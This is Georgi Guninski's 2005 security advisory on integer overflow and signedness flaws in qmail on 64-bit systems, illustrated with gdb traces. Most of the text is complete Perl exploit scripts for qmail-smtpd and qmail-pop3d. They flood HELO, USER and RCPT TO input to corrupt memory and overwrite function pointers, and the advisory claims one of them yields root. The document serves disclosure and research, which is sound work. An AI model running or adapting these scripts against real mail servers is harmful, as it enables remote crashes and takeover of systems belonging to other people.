64 bit qmail fun

Home
Security
Internet Explorer
Windows 2000
AIX
Netscape
Misc
Other
Services
Links
Mailing list
Random stuff
Contact
guninski@guninski.com
gpg/pgp key
Georgi Guninski security advisory #74, 2005

64 bit qmail fun

Systems affected:
qmail on 64 bit platforms with a lot of virtual memory ( ~ >8GB)

Date: 6 May 2005
Updated: 15 May 2005
Updated: 31 May 2005 - qpopup2.pl gives root access via qpopup/qpop3d

Legal Notice:
This Advisory is Copyright (c) 2004 Georgi Guninski.
You may not modify it and distribute it or distribute parts
of it without the author's written permission - this especially applies to
so called "vulnerabilities databases" and securityfocus, microsoft, cert
and mitre.
If you want to link to this content use the URL:
http://www.guninski.com/where_do_you_want_billg_to_go_today_4.html
Anything in this document may change without notice.

Disclaimer:
The information in this advisory is believed to be true though
it may be false.
The opinions expressed in this advisory and program are my own and
not of any company. The usual standard disclaimer applies,
especially the fact that Georgi Guninski is not liable for any damages
caused by direct or indirect use of the information or functionality
provided by this advisory or program. Georgi Guninski bears no
responsibility for content or misuse of this advisory or program or
any derivatives thereof.

Description:

there are several issues with qmail on 64 bit platforms - classical integer overflow, pointer with signed index and signedness problem (not counting the memory consumtion dos, which just helps).

Update: the problem with the signed index is exploitable on Freebsd 5.4 amd64 wih a lot of virtual memory.

problem #2 is exploitable at least on freebsd 5.4 amd64.

original djb's qmail was compiled with debug info, no optimizations and not stripped.

qmlong-pubvvv5.pl - run on freebsd 5.4 amd64

qmlong-pubvvv7.pl works for me on vanilla qmail.

Breakpoint 1, commands (ss=0x507520, c=0x507540) at commands.c:34
34 cmd.s[i] = 0;
(gdb) p cmd
$12 = {s = 0x4b507000 'Ì' <repeats 200 times>..., len = 3036683527,
^^^^^^^^^^
a = 3184650962}
(gdb) p i
$13 = -1258283773
(gdb) p &cmd.s[i]
$14 = 0x508d03 "K"
(gdb) next
36 for (i = 0;c[i].text;++i) if (case_equals(c[i].text,cmd.s)) break;
(gdb) p cmd
$15 = {s = 0x507000 " server failed (#4.4.2)", len = 3036683527,
^^^^^^^^^^^^^
a = 3184650962}
(gdb) p &ssout
$16 = (substdio *) 0x507500
(gdb) p &ssout.op
$17 = (int (**)()) 0x507518
(gdb) cont


Program received signal SIGTRAP, Trace/breakpoint trap.
0x000000000050cbac in ?? ()
(gdb) x/i $rip
0x50cbac: int3
(gdb) p ssout
$18 = {
x = 0x102030405060708 <Error reading address 0x102030405060708: Bad address>, p = 0, n = 32, fd = 2, op = 0x50cbab}
(gdb) info stack
#0 0x000000000050cbac in ?? ()
#1 0x0000000000405bce in allwrite (op=0x50cbab, fd=2,
buf=0x102030405060708 <Error reading address 0x102030405060708: Bad address>, len=16) at substdo.c:15
#2 0x0000000000405c63 in substdio_flush (s=0x507500) at substdo.c:35
#3 0x0000000000405d6e in substdio_put (s=0x507500,
buf=0x406988 "502 unimplemented (#5.5.1)\r\n", len=28) at substdo.c:64
#4 0x0000000000405efc in substdio_puts (s=0x507500,
buf=0x406988 "502 unimplemented (#5.5.1)\r\n") at substdo.c:100
#5 0x0000000000400daf in out (s=0x406988 "502 unimplemented (#5.5.1)\r\n")
at qmail-smtpd.c:43
#6 0x0000000000400f13 in err_unimpl () at qmail-smtpd.c:54

(gdb) x/i helohost.s
0x50c000: int3

(gdb) p &cmd
$19 = (stralloc *) 0x508d00





Details:

note:
- you need more than 4GB memory per process for this.
- gdb line numbers may not match because of small changes in qmail src
- tested on athlon64 8400+ with linux

1. integer overflow in stralloc_readyplus
./qmlong-pub.pl

Program received signal SIGSEGV, Segmentation fault.
0x000000000040602a in byte_copy (
to=0x2ab165441000 <Address 0x2ab165441000 out of bounds>, n=3791142275,
from=0x2ab23ad04001 'v' <repeats 200 times>...) at byte_copy.c:9
9 if (!n) return; *to++ = *from++; --n;
(gdb) info stack
#0 0x000000000040602a in byte_copy (
to=0x2ab165441000 <Address 0x2ab165441000 out of bounds>, n=3791142275,
from=0x2ab23ad04001 'v' <repeats 200 times>...) at byte_copy.c:9
#1 0x00000000004054e3 in alloc_re (x=0x508ce0, m=4030573939, n=239428416)
at alloc_re.c:13
#2 0x0000000000405133 in stralloc_readyplus (x=0x508ce0, n=4030573940)
at stralloc_eady.c:6
#3 0x00000000004020d5 in commands (ss=0x508980, c=0x5089a0) at commands.c:20
#4 0x0000000000401e12 in main () at qmail-smtpd.c:419
(gdb)
(gdb) x/i $rip
0x40602a <byte_copy+38>: mov %dl,(%rax)
(gdb) p/x $rax
$1 = 0x2ab165441000
(gdb)


2. pointer + signed int in commands.c
int i;
...
i = str_chr(cmd.s,' ');
...
cmd.s[i] = 0;

./qmlong-0-pub.pl


Program received signal SIGSEGV, Segmentation fault.
0x00000000004021e2 in commands (ss=0x508980, c=0x5089a0) at commands.c:39
39 while (*arg == ' ') ++arg;
(gdb) p/x arg
$1 = 0x2aaee056d014
(gdb) p i
$2 = -2048917500
(gdb) info stack
#0 0x00000000004021e2 in commands (ss=0x508980, c=0x5089a0) at commands.c:39
#1 0x0000000000401e12 in main () at qmail-smtpd.c:419
(gdb)



3. sign problem in qmail_put/substdio_put
./qmrcptto-pub.pl

Program received signal SIGSEGV, Segmentation fault.
0x000000000040604a in byte_copy (to=0x52c000 <Address 0x52c000 out of bounds>,
n=2149893743, from=0x2aaf0b1bdb36 'v' <repeats 200 times>...)
at byte_copy.c:10
10 if (!n) return; *to++ = *from++; --n;
(gdb) info stack
#0 0x000000000040604a in byte_copy (
to=0x52c000 <Address 0x52c000 out of bounds>, n=2149893743,
from=0x2aaf0b1bdb36 'v' <repeats 200 times>...) at byte_copy.c:10
#1 0x0000000000405a72 in substdio_put (s=0x50a4b8,
buf=0x2aaf0b19c010 "T", 'v' <repeats 199 times>..., len=-2144935532)
at substdo.c:75
#2 0x0000000000403eda in qmail_put (qq=0x50a4a0,
s=0x2aaf0b19c010 "T", 'v' <repeats 199 times>..., len=-2144935532)
at qmail.c:55
#3 0x0000000000401cdd in smtp_data () at qmail-smtpd.c:386
#4 0x0000000000402297 in commands (ss=0x508980, c=0x5089a0) at commands.c:43
#5 0x0000000000401e12 in main () at qmail-smtpd.c:419

qmlong-pubvvv7.pl
#!/usr/bin/perl -w

# copyright georgi guninski
# cannot be used in vulnerability databases

use IO::Socket;

my $host=$ARGV[0] || "localhost";
my $port=$ARGV[1] || 25;

my $sock=IO::Socket::INET->new(Proto => 'TCP',PeerAddr => $host,
PeerPort=>$port) || die("socket");


#my $sock;
#open ($sock, '+>',"/dev/null") || die("open");

###my $wriaddr = 0xb5001e43 - 0x140 ;
my $wriaddr = 0xb5001863;


my $wrimeg = int($wriaddr/(1024*1024)) ;
my $wrioff = $wriaddr % (1024*1024) ;

my $headdr = 0x42aa6000 ;
my $heameg = int($headdr/(1024*1024));
my $heaoff = $headdr % (1024*1024);

print $wrimeg . " " . $wrioff;


my $payload="\xcc" x (1024*1024);
my $i=0;
print $sock "HELO ";
while(42)
{
print $sock $payload;
$i++;

print "${i}\n";
if ($i == $heameg) {last;}
}
print $sock "v" x $heaoff;
print $sock "\r\n";
print "\nHELO sent\n";

$i=0;
while(42)
{
print $sock $payload;
$i++;
print "${i}\n";
if ($i == $wrimeg) {last;}
}

my $zer1 = "v" x $wrioff . " vvv\r\n";
print $zer1;
print $sock $zer1;
print "\nspace/zero sent\n";
$i=0;



my $vvover= "v" x (0x140);
my $ssinp = 696;

$vvover .= pack("Q",0x508980); #x
$vvover .= pack("I",$ssinp-1);
$vvover .= pack("I",1024-($ssinp-4));
$vvover .= pack("I",0x0);
$vvover .= pack("I",0x42);
$vvover .= pack("Q",0x50cbab); #op
$vvover .= "v" . "v" x 1025;

print "waiting\n";
$sock->flush();
sleep(42);
print $sock $vvover;


print "\nprobably done\n";
while(42) {sleep(4242);}



----
qmlong-pubvvv5.pl
#!/usr/bin/perl -w

# copyright georgi guninski
# cannot be used in vulnerability databases

use IO::Socket;

my $host=$ARGV[0] || "localhost";
my $port=$ARGV[1] || 25;

my $sock=IO::Socket::INET->new(Proto => 'TCP',PeerAddr => $host,
PeerPort=>$port) || die("socket");


#my $sock;
#open ($sock, '+>',"/dev/null") || die("open");

##my $wriaddr = 0xb5bfa660 - 0x140;
my $wriaddr = 0xb5001e43 - 0x140;


my $wrimeg = int($wriaddr/(1024*1024)) ;
my $wrioff = $wriaddr % (1024*1024) ;

my $headdr = 0x42aa6000;
my $heameg = int($headdr/(1024*1024));
my $heaoff = $headdr % (1024*1024);

print $wrimeg . " " . $wrioff;


my $payload="\xcc" x (1024*1024);
my $i=0;
print $sock "HELO ";
while(42)
{
print $sock $payload;
$i++;

print "${i}\n";
if ($i == $heameg) {last;}
}
print $sock "v" x $heaoff;
print $sock "\r\n";
print "\nHELO sent\n";

$i=0;
while(42)
{
print $sock $payload;
$i++;
print "${i}\n";
if ($i == $wrimeg) {last;}
}

my $zer1 = "v" x $wrioff . " vvv\r\n";
print $zer1;
print $sock $zer1;
print "\nspace/zero sent\n";
$i=0;




my $vvover= "AB" . ("v" x (0x500-2));

$vvover .= pack("Q",0x0102030405060708); #x
$vvover .= pack("I",0x10);
$vvover .= pack("I",0x20);
$vvover .= pack("I",0x2);
$vvover .= pack("I",0x42);
$vvover .= pack("Q",0x50cbab); #op

$vvover .= "\x21" . "\n" x 100;
## ^^^ ssin.x + 1
print $sock $vvover;



print "\nprobably done\n";
while(42) {};


----



------
qmlong-pub.pl
#!/usr/bin/perl -w

# written by georgi guninski.
# copyright georgi guninski
# cannot be used in vulnerability databases

use IO::Socket;

my $host=$ARGV[0] || "localhost";
my $port=$ARGV[1] || 25;

my $sock=IO::Socket::INET->new(Proto => 'TCP',PeerAddr => $host,
PeerPort=>$port) || die("socket");


my $payload="v" x (1024*1024);
my $i=0;
while(42)
{
print $sock $payload;
$i++;
print "${i}\n";
}
------

------
qmlong-0-pub.pl
#!/usr/bin/perl -w

# written by georgi guninski.
# copyright georgi guninski
# cannot be used in vulnerability databases

use IO::Socket;

my $host=$ARGV[0] || "localhost";
my $port=$ARGV[1] || 25;

my $sock=IO::Socket::INET->new(Proto => 'TCP',PeerAddr => $host,
PeerPort=>$port) || die("socket");


my $payload="v" x (1024*1024);
my $i=0;
print $sock "HELO";
while(42)
{
print $sock $payload;
$i++;
print "${i}\n";
if ($i == 2142) {last;}
}
print $sock " \r\n";

while(<$sock>) {print $_;}
------

-------
qmrcptto-pub.pl
#!/usr/bin/perl -w


# written by georgi guninski.
# copyright georgi guninski
# cannot be used in vulnerability databases

use IO::Socket;

my $host=$ARGV[0] || "localhost";
my $port=$ARGV[1] || 25;

my $sock=IO::Socket::INET->new(Proto => 'TCP',PeerAddr => $host,
PeerPort=>$port) || die("socket");


my $payload="v" x (1024*1024);
my $i=0;
my $t;

print $sock "HELO a\r\n";
print $sock "MAIL FROM: a\r\n";

my $leg = 842;

$payload = "v" x $leg;
$cou=0;
my $vp= "v" x (1024*1024);

my $wri = 0;

while (42)
{
print $sock "RCPT TO: ${payload}\r\n";
$t=<$sock>;
$cou++;
$wri += ($leg + 1);
if ($wri > 0x80000010) {last;}
if ($cou % (1024) == 0) {print " .. " . $wri/(1024*1024) . "\n";}
}

print $sock "DATA\r\n";
print $sock "where do you want bill gates to go today?\r\n";
print $sock ".\r\n";

while(<$sock>)
{
print $_;
}

qpopup2.pl

note: some debugging info was added, so line numbers may not match. the payload consists of "\xcc" == "int3".
tested on freebsd 5.4 amd64 with 20GB virtual memory (ram+swap)
about 10GB should be enough probably
(gdb)
Program received signal SIGTRAP, Trace/breakpoint trap.
0x000000000050babf in ?? ()
(gdb) p cmd $2 = {s = 0x502000 'v' <repeats 200="" times="" >..., len =
1752, a = 3184650962}
(gdb) x/i $rip
0x50babf: int3
(gdb) x/i username.s
0x506000: int3
(gdb) info stack
#0 0x000000000050babf in ?? ()
#1 0x0000000000401562 in commands (ss=0x502760, c=0x5026c0) at
commands.c:46
#2 0x0000000000401331 in main (argc=5252800, argv=0x7fffffffec10)
(gdb) p pop3commands[0]
$3 = {text = 0x0, fun = 0x50babe, flush = 0x50babe}
#!/usr/bin/perl -w

# copyright georgi guninski
# cannot be used in vulnerability databases

use IO::Socket;

my $host=$ARGV[0] || "localhost";
my $port=$ARGV[1] || 110;

my $sock=IO::Socket::INET->new(Proto => 'TCP',PeerAddr => $host,
PeerPort=>$port) || die("socket");


#my $sock;
#open ($sock, '+>',"/dev/null") || die("open");

###my $wriaddr = 0xb5001e43 - 0x140 ;
#my $wriaddr = 0xb5001863;
my $wriaddr = 0x9f001473;


my $wrimeg = int($wriaddr/(1024*1024)) ;
my $wrioff = $wriaddr % (1024*1024) ;

#my $headdr = 0x42aa6000 ;
##my $headdr = 0x42aa6000 - 0xaab000 + 350*1024*1024;
##my $headdr = 1550*1024*1024 +0x1000;
my $headdr = 1550*1024*1024 +0x1000 + 0x1fa000;
my $heameg = int($headdr/(1024*1024));
my $heaoff = $headdr % (1024*1024);

#print $wrimeg . " " . $wrioff;


my $payload="\xcc" x (1024*1024);
my $i=0;

my $junkcr = 2704;


print "press key...\n";
getc();
print $sock "USER ";
while(42)
{
print $sock $payload;
$i++;

print "${i}\n";
if ($i == $heameg) {last;}
}
print $sock "v" x $heaoff;
print $sock "\r\n";
print "\nHELO sent\n";

$i=0;
while(42)
{
print $sock $payload;
$i++;
print "${i}\n";
if ($i == $junkcr) {last;}
}


print $sock "\r\n";

print "junk command sent\n";
$i=0;
while(42)
{
print $sock $payload;
$i++;
print "${i}\n";
if ($i == $wrimeg) {last;}
}

my $zer1 = "v" x $wrioff . " vvv\r\n";
#print $zer1;
print $sock $zer1;
print "\nspace/zero sent\n";
$i=0;


my $vvover= ("v" x (0x6c0));

$vvover .= pack("Q",0) . pack("Q",0x50babe) . pack("Q",0x50babe);
$vvover .= "\n";

print "waiting\n";
$sock->flush();
sleep(42);
print $sock $vvover;


print "\nprobably done\n";
while(42) {sleep(4242);}